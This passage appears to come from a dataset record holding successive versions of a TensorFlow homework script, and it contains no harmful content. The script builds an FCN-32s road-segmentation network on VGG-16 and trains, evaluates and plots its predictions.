tf.assert_non_negative(label_f)\n loss = tf.losses.sigmoid_cross_entropy(multi_class_labels=label_f,\n logits=logit_f)\n heatmap = tf.squeeze(heatmap, axis=3)\n label_f = tf.to_int32(labels > 0)\n tf.assert_equal(tf.shape(label_f), tf.shape(heatmap))\n tf.assert_non_negative(label_f)\n loss = tf.losses.sigmoid_cross_entropy(multi_class_labels=label_f,\n logits=heatmap)\n if mode == tf.estimator.ModeKeys.TRAIN:\n optimizer = tf.train.MomentumOptimizer(learning_rate=0.001,\n momentum=0.99)\n train_op = optimizer.minimize(loss=loss, global_step=tf.train.\n get_global_step())\n tf.summary.scalar('train_loss', loss)\n return tf.estimator.EstimatorSpec(mode=mode, loss=loss, train_op=\n train_op)\n iou = tf.metrics.mean_iou(label_f, predictions['classes'], num_classes=\n 2, name='mean_iou')\n eval_metric_ops = {'IoU': iou}\n tensors_to_log_prob = {'probabilities': 'deconv_layers/logit'}\n tensors_to_log_iou = {'mean_iou': iou}\n tf.summary.scalar('mean_iou', iou[0])\n logging_hook = tf.train.LoggingTensorHook(tensors=tensors_to_log_iou,\n every_n_iter=200)\n if mode == tf.estimator.ModeKeys.EVAL:\n tf.summary.scalar('eval_loss', loss)\n return tf.estimator.EstimatorSpec(mode=mode, loss=loss,\n eval_metric_ops=eval_metric_ops)\n\n\nif __name__ == '__main__':\n root_dir = '/home/pohsuanh/Documents/Computer_Vision/HW6'\n train_data, eval_data, test_data, gt = data_load.load()\n TRAIN = False\n PREDICT = True\n DRAW_SAMPLE = False\n if DRAW_SAMPLE == True:\n pic = np.random.randint(len(test_data['x']))\n image_sample = test_data['x'][pic]\n label_sample = test_data['y'][pic]\n plt.figure(figsize=(20, 40))\n plt.title('data')\n plt.imshow(image_sample)\n plt.figure(figsize=(20, 40))\n plt.title('gt')\n plt.imshow(label_sample)\n pretrained_weights = tf.estimator.WarmStartSettings(ckpt_to_initialize_from\n =os.path.join(root_dir, 'pretrained_weights', 'vgg_16.ckpt'),\n vars_to_warm_start=tf.get_collection(tf.GraphKeys.\n TRAINABLE_VARIABLES, scope='vgg16_pretrained'))\n fcn_segmentor = tf.estimator.Estimator(model_fn=fcn_model_fn, model_dir\n =os.path.join(root_dir, 'ckpts'), warm_start_from=pretrained_weights)\n if TRAIN == True:\n for epoch in range(100):\n train_input_fn = tf.estimator.inputs.numpy_input_fn(x=\n train_data['x'], y=train_data['y'], batch_size=1,\n num_epochs=None, shuffle=True)\n fcn_segmentor.train(input_fn=train_input_fn, steps=200)\n eval_input_fn = tf.estimator.inputs.numpy_input_fn(x=eval_data[\n 'x'], y=eval_data['y'], num_epochs=1, batch_size=10,\n shuffle=False)\n eval_results = fcn_segmentor.evaluate(input_fn=eval_input_fn)\n print('eval_loss :', eval_results)\n if PREDICT == True:\n pred_input_fn = tf.estimator.inputs.numpy_input_fn(x=test_data['x'],\n y=test_data['y'], batch_size=1, num_epochs=1, shuffle=False)\n pred = list(fcn_segmentor.predict(input_fn=pred_input_fn))\n pred = [p['classes'] for p in pred]\n fig = plt.figure(1, figsize=(32, 16))\n for i, p in enumerate(pred):\n fig.add_subplot(3, 1, 1)\n plt.title('camera photo')\n plt.imshow(test_data['x'][i])\n fig.add_subplot(3, 1, 2)\n plt.title('prediction')\n plt.imshow(p)\n fig.add_subplot(3, 1, 3)\n plt.title('ground truth')\n plt.imshow(gt['test'][i])\n filename = 'pred_{}.png'.format(i)\n plt.savefig(os.path.join(root_dir, 'predictions', filename))\n", "step-3": "<mask token>\ntf.logging.set_verbosity(tf.logging.INFO)\nnow = datetime.utcnow().strftime('%Y%m%d%H%M%S')\nroot_logdir = 'logs'\nlogdir = '{}/run-{}/'.format(root_logdir, now)\n\n\ndef fcn_model_fn(features, labels, mode):\n L2 = tf.contrib.layers.l2_regularizer(scale=0.1)\n trainable = False\n if mode == tf.estimator.ModeKeys.TRAIN:\n trainable = True\n seed = 2019\n with tf.name_scope('vgg16_pretrained'):\n x = tf.layers.conv2d(features, 64, (3, 3), activation='relu',\n padding='same', name='conv1_1', kernel_regularizer=L2,\n trainable=trainable)\n x = tf.layers.dropout(x, rate=0.4, seed=seed, training=trainable,\n name='dp1_1')\n x = tf.layers.conv2d(x, 64, (3, 3), activation='relu', padding=\n 'same', name='conv1_2', kernel_regularizer=L2, trainable=trainable)\n x = tf.layers.dropout(x, rate=0.4, seed=seed, training=trainable,\n name='dp1_2')\n x = tf.layers.max_pooling2d(x, (2, 2), strides=(2, 2), name='pool1')\n x = tf.layers.conv2d(x, 128, (3, 3), activation='relu', padding=\n 'same', name='conv2_1', kernel_regularizer=L2, trainable=trainable)\n x = tf.layers.dropout(x, rate=0.4, seed=seed, training=trainable,\n name='dp2_1')\n x = tf.layers.conv2d(x, 128, (3, 3), activation='relu', padding=\n 'same', name='conv2-2', kernel_regularizer=L2, trainable=trainable)\n x = tf.layers.dropout(x, rate=0.4, seed=seed, training=trainable,\n name='dp2_2')\n x = tf.layers.max_pooling2d(x, (2, 2), strides=(2, 2), name='pool2')\n x = tf.layers.conv2d(x, 256, (3, 3), activation='relu', padding=\n 'same', name='conv3_1', kernel_regularizer=L2, trainable=trainable)\n x = tf.layers.dropout(x, rate=0.4, seed=seed, training=trainable,\n name='dp3_1')\n x = tf.layers.conv2d(x, 256, (3, 3), activation='relu', padding=\n 'same', name='conv3_2', kernel_regularizer=L2, trainable=trainable)\n x = tf.layers.dropout(x, rate=0.4, seed=seed, training=trainable,\n name='dp3_2')\n x = tf.layers.conv2d(x, 256, (3, 3), activation='relu', padding=\n 'same', name='conv3_3', kernel_regularizer=L2, trainable=trainable)\n x = tf.layers.dropout(x, rate=0.4, seed=seed, training=trainable,\n name='dp3_3')\n x = tf.layers.max_pooling2d(x, (2, 2), strides=(2, 2), name='pool3')\n x = tf.layers.conv2d(x, 512, (3, 3), activation='relu', padding=\n 'same', name='conv4_1', kernel_regularizer=L2, trainable=trainable)\n x = tf.layers.dropout(x, rate=0.4, seed=seed, training=trainable,\n name='dp4_1')\n x = tf.layers.conv2d(x, 512, (3, 3), activation='relu', padding=\n 'same', name='conv4_2', kernel_regularizer=L2, trainable=trainable)\n x = tf.layers.dropout(x, rate=0.4, seed=seed, training=trainable,\n name='dp4_2')\n x = tf.layers.conv2d(x, 512, (3, 3), activation='relu', padding=\n 'same', name='conv4_3', kernel_regularizer=L2, trainable=trainable)\n x = tf.layers.dropout(x, rate=0.4, seed=seed, training=trainable,\n name='dp4_3')\n x = tf.layers.max_pooling2d(x, (2, 2), strides=(2, 2), name='pool4')\n x = tf.layers.conv2d(x, 512, (3, 3), activation='relu', padding=\n 'same', name='conv5_1', kernel_regularizer=L2, trainable=trainable)\n x = tf.layers.dropout(x, rate=0.4, seed=seed, training=trainable,\n name='dp5_1')\n x = tf.layers.conv2d(x, 512, (3, 3), activation='relu', padding=\n 'same', name='conv5_2', kernel_regularizer=L2, trainable=trainable)\n x = tf.layers.dropout(x, rate=0.4, seed=seed, training=trainable,\n name='dp5_2')\n x = tf.layers.conv2d(x, 512, (3, 3), activation='relu', padding=\n 'same', name='conv5_3', kernel_regularizer=L2, trainable=trainable)\n x = tf.layers.dropout(x, rate=0.4, seed=seed, training=trainable,\n name='dp5_3')\n x = tf.layers.max_pooling2d(x, (2, 2), strides=(2, 2), name='pool5')\n with tf.name_scope('deconv_layers'):\n x = tf.layers.conv2d(x, 4096, (7, 7), activation='relu', padding=\n 'same', name='conv6_1', kernel_regularizer=L2, trainable=trainable)\n x = tf.layers.dropout(x, rate=0.4, seed=seed, training=trainable,\n name='dp6_1')\n x = tf.layers.conv2d(x, 4096, (1, 1), activation='relu', padding=\n 'same', name='conv6_2', kernel_regularizer=L2, trainable=trainable)\n x = tf.layers.dropout(x, rate=0.4, seed=seed, training=trainable,\n name='dp6_2')\n x = tf.layers.conv2d(x, 1, (1, 1), activation='relu', padding=\n 'same', name='conv6_3', kernel_regularizer=L2, trainable=trainable)\n x = tf.layers.dropout(x, rate=0.4, seed=seed, training=trainable,\n name='dp6_3')\n heatmap = tf.layers.conv2d_transpose(x, 1, (64, 64), strides=(32, \n 32), activation='linear', padding='same', name='deconv6_1',\n kernel_regularizer=L2, trainable=trainable)\n logit = tf.nn.sigmoid(heatmap, name='logit')\n pred = tf.to_int32(logit > 0.5)\n pred = tf.squeeze(pred, axis=3)\n predictions = {'classes': pred, 'probabilities': logit}\n if mode == tf.estimator.ModeKeys.PREDICT:\n return tf.estimator.EstimatorSpec(mode=mode, predictions=predictions)\n if False:\n logit_f = tf.reshape(heatmap, (-1, 1, 1, 1))\n logit_f = tf.squeeze(logit_f, axis=[2, 3])\n label_f = tf.reshape(labels, (-1, 1))\n keep = tf.where(tf.greater_equal(labels, 0))\n logit_f = tf.gather(logit_f, keep)\n label_f = tf.gather(label_f, keep)\n tf.assert_equal(tf.shape(label_f)[0], tf.shape(logit_f)[0])\n tf.assert_non_negative(label_f)\n loss = tf.losses.sigmoid_cross_entropy(multi_class_labels=label_f,\n logits=logit_f)\n heatmap = tf.squeeze(heatmap, axis=3)\n label_f = tf.to_int32(labels > 0)\n tf.assert_equal(tf.shape(label_f), tf.shape(heatmap))\n tf.assert_non_negative(label_f)\n loss = tf.losses.sigmoid_cross_entropy(multi_class_labels=label_f,\n logits=heatmap)\n if mode == tf.estimator.ModeKeys.TRAIN:\n optimizer = tf.train.MomentumOptimizer(learning_rate=0.001,\n momentum=0.99)\n train_op = optimizer.minimize(loss=loss, global_step=tf.train.\n get_global_step())\n tf.summary.scalar('train_loss', loss)\n return tf.estimator.EstimatorSpec(mode=mode, loss=loss, train_op=\n train_op)\n iou = tf.metrics.mean_iou(label_f, predictions['classes'], num_classes=\n 2, name='mean_iou')\n eval_metric_ops = {'IoU': iou}\n tensors_to_log_prob = {'probabilities': 'deconv_layers/logit'}\n tensors_to_log_iou = {'mean_iou': iou}\n tf.summary.scalar('mean_iou', iou[0])\n logging_hook = tf.train.LoggingTensorHook(tensors=tensors_to_log_iou,\n every_n_iter=200)\n if mode == tf.estimator.ModeKeys.EVAL:\n tf.summary.scalar('eval_loss', loss)\n return tf.estimator.EstimatorSpec(mode=mode, loss=loss,\n eval_metric_ops=eval_metric_ops)\n\n\nif __name__ == '__main__':\n root_dir = '/home/pohsuanh/Documents/Computer_Vision/HW6'\n train_data, eval_data, test_data, gt = data_load.load()\n TRAIN = False\n PREDICT = True\n DRAW_SAMPLE = False\n if DRAW_SAMPLE == True:\n pic = np.random.randint(len(test_data['x']))\n image_sample = test_data['x'][pic]\n label_sample = test_data['y'][pic]\n plt.figure(figsize=(20, 40))\n plt.title('data')\n plt.imshow(image_sample)\n plt.figure(figsize=(20, 40))\n plt.title('gt')\n plt.imshow(label_sample)\n pretrained_weights = tf.estimator.WarmStartSettings(ckpt_to_initialize_from\n =os.path.join(root_dir, 'pretrained_weights', 'vgg_16.ckpt'),\n vars_to_warm_start=tf.get_collection(tf.GraphKeys.\n TRAINABLE_VARIABLES, scope='vgg16_pretrained'))\n fcn_segmentor = tf.estimator.Estimator(model_fn=fcn_model_fn, model_dir\n =os.path.join(root_dir, 'ckpts'), warm_start_from=pretrained_weights)\n if TRAIN == True:\n for epoch in range(100):\n train_input_fn = tf.estimator.inputs.numpy_input_fn(x=\n train_data['x'], y=train_data['y'], batch_size=1,\n num_epochs=None, shuffle=True)\n fcn_segmentor.train(input_fn=train_input_fn, steps=200)\n eval_input_fn = tf.estimator.inputs.numpy_input_fn(x=eval_data[\n 'x'], y=eval_data['y'], num_epochs=1, batch_size=10,\n shuffle=False)\n eval_results = fcn_segmentor.evaluate(input_fn=eval_input_fn)\n print('eval_loss :', eval_results)\n if PREDICT == True:\n pred_input_fn = tf.estimator.inputs.numpy_input_fn(x=test_data['x'],\n y=test_data['y'], batch_size=1, num_epochs=1, shuffle=False)\n pred = list(fcn_segmentor.predict(input_fn=pred_input_fn))\n pred = [p['classes'] for p in pred]\n fig = plt.figure(1, figsize=(32, 16))\n for i, p in enumerate(pred):\n fig.add_subplot(3, 1, 1)\n plt.title('camera photo')\n plt.imshow(test_data['x'][i])\n fig.add_subplot(3, 1, 2)\n plt.title('prediction')\n plt.imshow(p)\n fig.add_subplot(3, 1, 3)\n plt.title('ground truth')\n plt.imshow(gt['test'][i])\n filename = 'pred_{}.png'.format(i)\n plt.savefig(os.path.join(root_dir, 'predictions', filename))\n", "step-4": "<mask token>\nimport os\nimport tensorflow as tf\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport data_load\nfrom datetime import datetime\ntf.logging.set_verbosity(tf.logging.INFO)\nnow = datetime.utcnow().strftime('%Y%m%d%H%M%S')\nroot_logdir = 'logs'\nlogdir = '{}/run-{}/'.format(root_logdir, now)\n\n\ndef fcn_model_fn(features, labels, mode):\n L2 = tf.contrib.layers.l2_regularizer(scale=0.1)\n trainable = False\n if mode == tf.estimator.ModeKeys.TRAIN:\n trainable = True\n seed = 2019\n with tf.name_scope('vgg16_pretrained'):\n x = tf.layers.conv2d(features, 64, (3, 3), activation='relu',\n padding='same', name='conv1_1', kernel_regularizer=L2,\n trainable=trainable)\n x = tf.layers.dropout(x, rate=0.4, seed=seed, training=trainable,\n name='dp1_1')\n x = tf.layers.conv2d(x, 64, (3, 3), activation='relu', padding=\n 'same', name='conv1_2', kernel_regularizer=L2, trainable=trainable)\n x = tf.layers.dropout(x, rate=0.4, seed=seed, training=trainable,\n name='dp1_2')\n x = tf.layers.max_pooling2d(x, (2, 2), strides=(2, 2), name='pool1')\n x = tf.layers.conv2d(x, 128, (3, 3), activation='relu', padding=\n 'same', name='conv2_1', kernel_regularizer=L2, trainable=trainable)\n x = tf.layers.dropout(x, rate=0.4, seed=seed, training=trainable,\n name='dp2_1')\n x = tf.layers.conv2d(x, 128, (3, 3), activation='relu', padding=\n 'same', name='conv2-2', kernel_regularizer=L2, trainable=trainable)\n x = tf.layers.dropout(x, rate=0.4, seed=seed, training=trainable,\n name='dp2_2')\n x = tf.layers.max_pooling2d(x, (2, 2), strides=(2, 2), name='pool2')\n x = tf.layers.conv2d(x, 256, (3, 3), activation='relu', padding=\n 'same', name='conv3_1', kernel_regularizer=L2, trainable=trainable)\n x = tf.layers.dropout(x, rate=0.4, seed=seed, training=trainable,\n name='dp3_1')\n x = tf.layers.conv2d(x, 256, (3, 3), activation='relu', padding=\n 'same', name='conv3_2', kernel_regularizer=L2, trainable=trainable)\n x = tf.layers.dropout(x, rate=0.4, seed=seed, training=trainable,\n name='dp3_2')\n x = tf.layers.conv2d(x, 256, (3, 3), activation='relu', padding=\n 'same', name='conv3_3', kernel_regularizer=L2, trainable=trainable)\n x = tf.layers.dropout(x, rate=0.4, seed=seed, training=trainable,\n name='dp3_3')\n x = tf.layers.max_pooling2d(x, (2, 2), strides=(2, 2), name='pool3')\n x = tf.layers.conv2d(x, 512, (3, 3), activation='relu', padding=\n 'same', name='conv4_1', kernel_regularizer=L2, trainable=trainable)\n x = tf.layers.dropout(x, rate=0.4, seed=seed, training=trainable,\n name='dp4_1')\n x = tf.layers.conv2d(x, 512, (3, 3), activation='relu', padding=\n 'same', name='conv4_2', kernel_regularizer=L2, trainable=trainable)\n x = tf.layers.dropout(x, rate=0.4, seed=seed, training=trainable,\n name='dp4_2')\n x = tf.layers.conv2d(x, 512, (3, 3), activation='relu', padding=\n 'same', name='conv4_3', kernel_regularizer=L2, trainable=trainable)\n x = tf.layers.dropout(x, rate=0.4, seed=seed, training=trainable,\n name='dp4_3')\n x = tf.layers.max_pooling2d(x, (2, 2), strides=(2, 2), name='pool4')\n x = tf.layers.conv2d(x, 512, (3, 3), activation='relu', padding=\n 'same', name='conv5_1', kernel_regularizer=L2, trainable=trainable)\n x = tf.layers.dropout(x, rate=0.4, seed=seed, training=trainable,\n name='dp5_1')\n x = tf.layers.conv2d(x, 512, (3, 3), activation='relu', padding=\n 'same', name='conv5_2', kernel_regularizer=L2, trainable=trainable)\n x = tf.layers.dropout(x, rate=0.4, seed=seed, training=trainable,\n name='dp5_2')\n x = tf.layers.conv2d(x, 512, (3, 3), activation='relu', padding=\n 'same', name='conv5_3', kernel_regularizer=L2, trainable=trainable)\n x = tf.layers.dropout(x, rate=0.4, seed=seed, training=trainable,\n name='dp5_3')\n x = tf.layers.max_pooling2d(x, (2, 2), strides=(2, 2), name='pool5')\n with tf.name_scope('deconv_layers'):\n x = tf.layers.conv2d(x, 4096, (7, 7), activation='relu', padding=\n 'same', name='conv6_1', kernel_regularizer=L2, trainable=trainable)\n x = tf.layers.dropout(x, rate=0.4, seed=seed, training=trainable,\n name='dp6_1')\n x = tf.layers.conv2d(x, 4096, (1, 1), activation='relu', padding=\n 'same', name='conv6_2', kernel_regularizer=L2, trainable=trainable)\n x = tf.layers.dropout(x, rate=0.4, seed=seed, training=trainable,\n name='dp6_2')\n x = tf.layers.conv2d(x, 1, (1, 1), activation='relu', padding=\n 'same', name='conv6_3', kernel_regularizer=L2, trainable=trainable)\n x = tf.layers.dropout(x, rate=0.4, seed=seed, training=trainable,\n name='dp6_3')\n heatmap = tf.layers.conv2d_transpose(x, 1, (64, 64), strides=(32, \n 32), activation='linear', padding='same', name='deconv6_1',\n kernel_regularizer=L2, trainable=trainable)\n logit = tf.nn.sigmoid(heatmap, name='logit')\n pred = tf.to_int32(logit > 0.5)\n pred = tf.squeeze(pred, axis=3)\n predictions = {'classes': pred, 'probabilities': logit}\n if mode == tf.estimator.ModeKeys.PREDICT:\n return tf.estimator.EstimatorSpec(mode=mode, predictions=predictions)\n if False:\n logit_f = tf.reshape(heatmap, (-1, 1, 1, 1))\n logit_f = tf.squeeze(logit_f, axis=[2, 3])\n label_f = tf.reshape(labels, (-1, 1))\n keep = tf.where(tf.greater_equal(labels, 0))\n logit_f = tf.gather(logit_f, keep)\n label_f = tf.gather(label_f, keep)\n tf.assert_equal(tf.shape(label_f)[0], tf.shape(logit_f)[0])\n tf.assert_non_negative(label_f)\n loss = tf.losses.sigmoid_cross_entropy(multi_class_labels=label_f,\n logits=logit_f)\n heatmap = tf.squeeze(heatmap, axis=3)\n label_f = tf.to_int32(labels > 0)\n tf.assert_equal(tf.shape(label_f), tf.shape(heatmap))\n tf.assert_non_negative(label_f)\n loss = tf.losses.sigmoid_cross_entropy(multi_class_labels=label_f,\n logits=heatmap)\n if mode == tf.estimator.ModeKeys.TRAIN:\n optimizer = tf.train.MomentumOptimizer(learning_rate=0.001,\n momentum=0.99)\n train_op = optimizer.minimize(loss=loss, global_step=tf.train.\n get_global_step())\n tf.summary.scalar('train_loss', loss)\n return tf.estimator.EstimatorSpec(mode=mode, loss=loss, train_op=\n train_op)\n iou = tf.metrics.mean_iou(label_f, predictions['classes'], num_classes=\n 2, name='mean_iou')\n eval_metric_ops = {'IoU': iou}\n tensors_to_log_prob = {'probabilities': 'deconv_layers/logit'}\n tensors_to_log_iou = {'mean_iou': iou}\n tf.summary.scalar('mean_iou', iou[0])\n logging_hook = tf.train.LoggingTensorHook(tensors=tensors_to_log_iou,\n every_n_iter=200)\n if mode == tf.estimator.ModeKeys.EVAL:\n tf.summary.scalar('eval_loss', loss)\n return tf.estimator.EstimatorSpec(mode=mode, loss=loss,\n eval_metric_ops=eval_metric_ops)\n\n\nif __name__ == '__main__':\n root_dir = '/home/pohsuanh/Documents/Computer_Vision/HW6'\n train_data, eval_data, test_data, gt = data_load.load()\n TRAIN = False\n PREDICT = True\n DRAW_SAMPLE = False\n if DRAW_SAMPLE == True:\n pic = np.random.randint(len(test_data['x']))\n image_sample = test_data['x'][pic]\n label_sample = test_data['y'][pic]\n plt.figure(figsize=(20, 40))\n plt.title('data')\n plt.imshow(image_sample)\n plt.figure(figsize=(20, 40))\n plt.title('gt')\n plt.imshow(label_sample)\n pretrained_weights = tf.estimator.WarmStartSettings(ckpt_to_initialize_from\n =os.path.join(root_dir, 'pretrained_weights', 'vgg_16.ckpt'),\n vars_to_warm_start=tf.get_collection(tf.GraphKeys.\n TRAINABLE_VARIABLES, scope='vgg16_pretrained'))\n fcn_segmentor = tf.estimator.Estimator(model_fn=fcn_model_fn, model_dir\n =os.path.join(root_dir, 'ckpts'), warm_start_from=pretrained_weights)\n if TRAIN == True:\n for epoch in range(100):\n train_input_fn = tf.estimator.inputs.numpy_input_fn(x=\n train_data['x'], y=train_data['y'], batch_size=1,\n num_epochs=None, shuffle=True)\n fcn_segmentor.train(input_fn=train_input_fn, steps=200)\n eval_input_fn = tf.estimator.inputs.numpy_input_fn(x=eval_data[\n 'x'], y=eval_data['y'], num_epochs=1, batch_size=10,\n shuffle=False)\n eval_results = fcn_segmentor.evaluate(input_fn=eval_input_fn)\n print('eval_loss :', eval_results)\n if PREDICT == True:\n pred_input_fn = tf.estimator.inputs.numpy_input_fn(x=test_data['x'],\n y=test_data['y'], batch_size=1, num_epochs=1, shuffle=False)\n pred = list(fcn_segmentor.predict(input_fn=pred_input_fn))\n pred = [p['classes'] for p in pred]\n fig = plt.figure(1, figsize=(32, 16))\n for i, p in enumerate(pred):\n fig.add_subplot(3, 1, 1)\n plt.title('camera photo')\n plt.imshow(test_data['x'][i])\n fig.add_subplot(3, 1, 2)\n plt.title('prediction')\n plt.imshow(p)\n fig.add_subplot(3, 1, 3)\n plt.title('ground truth')\n plt.imshow(gt['test'][i])\n filename = 'pred_{}.png'.format(i)\n plt.savefig(os.path.join(root_dir, 'predictions', filename))\n", "step-5": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Nov 26 23:42:11 2018\n\n@author: pohsuanh\n\n\nFully Covolutional Network FCN-32s. \n\nFCN-32s network is based on VGG-16\n\n\"\"\"\n\nimport os\nimport tensorflow as tf\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport data_load\nfrom datetime import datetime\n\ntf.logging.set_verbosity(tf.logging.INFO)\n\n\n# assign each run to a separate log file, so the tensorboard can function properly. \nnow = datetime.utcnow().strftime(\"%Y%m%d%H%M%S\")\n\nroot_logdir = \"logs\"\n\nlogdir = \"{}/run-{}/\".format(root_logdir,now)\n\ndef fcn_model_fn(features, labels, mode):\n \n L2 = tf.contrib.layers.l2_regularizer(scale=0.1)\n \n trainable = False\n \n if mode == tf.estimator.ModeKeys.TRAIN :\n \n trainable = True\n \n seed = 2019\n \n with tf.name_scope(\"vgg16_pretrained\"):\n \n x = tf.layers.conv2d(features, 64, (3, 3),\n activation='relu',\n padding='same',\n name='conv1_1',\n kernel_regularizer= L2,\n trainable = trainable)\n \n x = tf.layers.dropout(x, rate = 0.4, seed = seed, training = trainable , name ='dp1_1')\n \n x = tf.layers.conv2d(x, 64, (3, 3),\n activation='relu',\n padding='same',\n name='conv1_2',\n kernel_regularizer= L2,\n trainable = trainable)\n \n x = tf.layers.dropout(x, rate = 0.4, seed = seed, training = trainable , name ='dp1_2')\n \n x = tf.layers.max_pooling2d(x, (2, 2), strides=(2, 2), name='pool1')\n \n # Block 2\n x = tf.layers.conv2d(x, 128, (3, 3),\n activation='relu',\n padding='same',\n name='conv2_1',\n kernel_regularizer= L2,\n trainable = trainable)\n \n x = tf.layers.dropout(x, rate = 0.4, seed = seed, training = trainable , name ='dp2_1')\n \n \n x = tf.layers.conv2d(x, 128, (3, 3),\n activation='relu',\n padding='same',\n name='conv2-2',\n kernel_regularizer= L2,\n trainable = trainable)\n \n x = tf.layers.dropout(x, rate = 0.4, seed = seed, training = trainable , name ='dp2_2')\n \n \n x = tf.layers.max_pooling2d(x,(2, 2), strides=(2, 2), name='pool2')\n \n # Block 3\n x = tf.layers.conv2d (x, 256, (3, 3),\n activation='relu',\n padding='same',\n name='conv3_1',\n kernel_regularizer= L2,\n trainable = trainable)\n \n x = tf.layers.dropout(x, rate = 0.4, seed = seed, training = trainable , name ='dp3_1')\n \n x = tf.layers.conv2d (x, 256, (3, 3),\n activation='relu',\n padding='same',\n name='conv3_2',\n kernel_regularizer= L2,\n trainable = trainable)\n \n x = tf.layers.dropout(x, rate = 0.4, seed = seed, training = trainable , name ='dp3_2')\n \n \n x = tf.layers.conv2d (x, 256, (3, 3),\n activation='relu',\n padding='same',\n name='conv3_3',\n kernel_regularizer= L2,\n trainable = trainable)\n \n x = tf.layers.dropout(x, rate = 0.4, seed = seed, training = trainable , name ='dp3_3')\n \n \n x = tf.layers.max_pooling2d(x, (2, 2), strides=(2, 2), name='pool3')\n \n # Block 4\n x = tf.layers.conv2d (x, 512, (3, 3),\n activation='relu',\n padding='same',\n name='conv4_1',\n kernel_regularizer= L2,\n trainable = trainable)\n \n x = tf.layers.dropout(x, rate = 0.4, seed = seed, training = trainable , name ='dp4_1')\n \n x = tf.layers.conv2d (x, 512, (3, 3),\n activation='relu',\n padding='same',\n name='conv4_2',\n kernel_regularizer= L2,\n trainable = trainable)\n \n x = tf.layers.dropout(x, rate = 0.4, seed = seed, training = trainable , name ='dp4_2')\n \n x = tf.layers.conv2d (x, 512, (3, 3),\n activation='relu',\n padding='same',\n name='conv4_3',\n kernel_regularizer= L2,\n trainable = trainable)\n \n x = tf.layers.dropout(x, rate = 0.4, seed = seed, training = trainable , name ='dp4_3')\n \n x = tf.layers.max_pooling2d(x, (2, 2), strides=(2, 2), name='pool4')\n \n # Block 5\n x = tf.layers.conv2d (x, 512, (3, 3),\n activation='relu',\n padding='same',\n name='conv5_1',\n kernel_regularizer= L2,\n trainable = trainable)\n \n x = tf.layers.dropout(x, rate = 0.4, seed = seed, training = trainable , name ='dp5_1')\n \n x = tf.layers.conv2d (x, 512, (3, 3),\n activation='relu',\n padding='same',\n name='conv5_2',\n kernel_regularizer= L2,\n trainable = trainable)\n \n x = tf.layers.dropout(x, rate = 0.4, seed = seed, training = trainable , name ='dp5_2')\n \n x = tf.layers.conv2d (x, 512, (3, 3),\n activation='relu',\n padding='same',\n name='conv5_3',\n kernel_regularizer= L2,\n trainable = trainable)\n \n x = tf.layers.dropout(x, rate = 0.4, seed = seed, training = trainable , name ='dp5_3')\n \n x = tf.layers.max_pooling2d(x, (2, 2), strides=(2, 2), name='pool5')\n \n with tf.name_scope(\"deconv_layers\"):\n # Block 6\n \n x = tf.layers.conv2d(x, 4096, (7,7), \n activation='relu',\n padding='same',\n name='conv6_1',\n kernel_regularizer= L2,\n trainable = trainable)\n \n x = tf.layers.dropout(x, rate = 0.4, seed = seed, training = trainable , name ='dp6_1')\n \n x = tf.layers.conv2d(x, 4096, (1,1),\n activation='relu',\n padding='same',\n name='conv6_2',\n kernel_regularizer= L2,\n trainable = trainable)\n \n x = tf.layers.dropout(x, rate = 0.4, seed = seed, training = trainable , name ='dp6_2')\n \n x = tf.layers.conv2d(x, 1, (1,1),\n activation='relu',\n padding='same',\n name='conv6_3',\n kernel_regularizer= L2,\n trainable = trainable) \n \n x = tf.layers.dropout(x, rate = 0.4, seed = seed, training = trainable , name ='dp6_3')\n \n # There are two classes [1: road, 0: non-road]\n heatmap = tf.layers.conv2d_transpose(x, 1, (64,64), strides=(32,32),\n activation='linear',\n padding='same',\n name='deconv6_1',\n kernel_regularizer= L2,\n trainable = trainable)\n \n logit = tf.nn.sigmoid(heatmap, name = 'logit')\n \n pred = tf.to_int32(logit > 0.5)\n \n pred = tf.squeeze(pred, axis = 3)\n\n# print(heatmap.shape)\n \n # Do pixel-wise classification :\n\n predictions = {\n \n # Generate predictions (for PREDICT and EVAL mode)\n \n \"classes\": pred, # tf.argmax(logit, axis =3 )\n \n # Add `softmax_tensor` to the graph. It is used for PREDICT and by the logging_hook`.\n \n \"probabilities\": logit #tf.nn.softmax(logit, name=\"softmax_tensor\")\n\n }\n \n\n if mode == tf.estimator.ModeKeys.PREDICT:\n \n return tf.estimator.EstimatorSpec(mode=mode, predictions=predictions)\n \n # Calculate Loss (for both TRAIN and EVAL modes)\n # Homework requires tf.nn.sigmoid_cross_entropy_with_logits()\n if False : \n # ignore where label is -1 , which corresponds to Void.\n \n logit_f = tf.reshape(heatmap, (-1,1,1,1)) # flatten the output\n \n logit_f = tf.squeeze(logit_f, axis = [2,3])\n \n label_f = tf.reshape(labels,(-1,1))\n \n keep = tf.where(tf.greater_equal(labels, 0) )\n \n logit_f = tf.gather(logit_f, keep)\n \n label_f = tf.gather(label_f, keep)\n \n tf.assert_equal(tf.shape(label_f)[0], tf.shape(logit_f)[0])\n \n tf.assert_non_negative(label_f) # Void is labelled -1, which should be excluded from the loss func\n \n \n # sigmoid_cross_entorpy implements tf.nn.sparse_signoid_cross_entropy_with_logit, \n # it will convert output to logit in the op\n loss = tf.losses.sigmoid_cross_entropy(multi_class_labels = label_f, logits=logit_f)\n \n heatmap = tf.squeeze(heatmap, axis =3)\n\n label_f = tf.to_int32(labels > 0)\n\n tf.assert_equal(tf.shape(label_f), tf.shape(heatmap))\n\n tf.assert_non_negative(label_f)\n\n loss = tf.losses.sigmoid_cross_entropy( multi_class_labels = label_f ,logits = heatmap) \n # Configure the trainable Op (for TRAIN mode)\n \n if mode == tf.estimator.ModeKeys.TRAIN:\n \n optimizer = tf.train.MomentumOptimizer(learning_rate=0.001, momentum = 0.99)\n \n train_op = optimizer.minimize(loss=loss, global_step = tf.train.get_global_step())\n \n tf.summary.scalar('train_loss', loss)\n \n return tf.estimator.EstimatorSpec(mode=mode, loss=loss, train_op=train_op)\n \n # Add evaluation metrics (for EVAL mode)\n \n # Set up logging for metrics\n \n iou = tf.metrics.mean_iou(label_f,predictions['classes'], num_classes = 2 , name = 'mean_iou')\n \n eval_metric_ops = {\"IoU\": iou}\n\n tensors_to_log_prob = {\"probabilities\": \"deconv_layers/logit\"}\n \n tensors_to_log_iou = {\"mean_iou\": iou}\n \n tf.summary.scalar('mean_iou', iou[0])\n\n logging_hook = tf.train.LoggingTensorHook(\n tensors=tensors_to_log_iou, every_n_iter=200)\n \n if mode == tf.estimator.ModeKeys.EVAL :\n 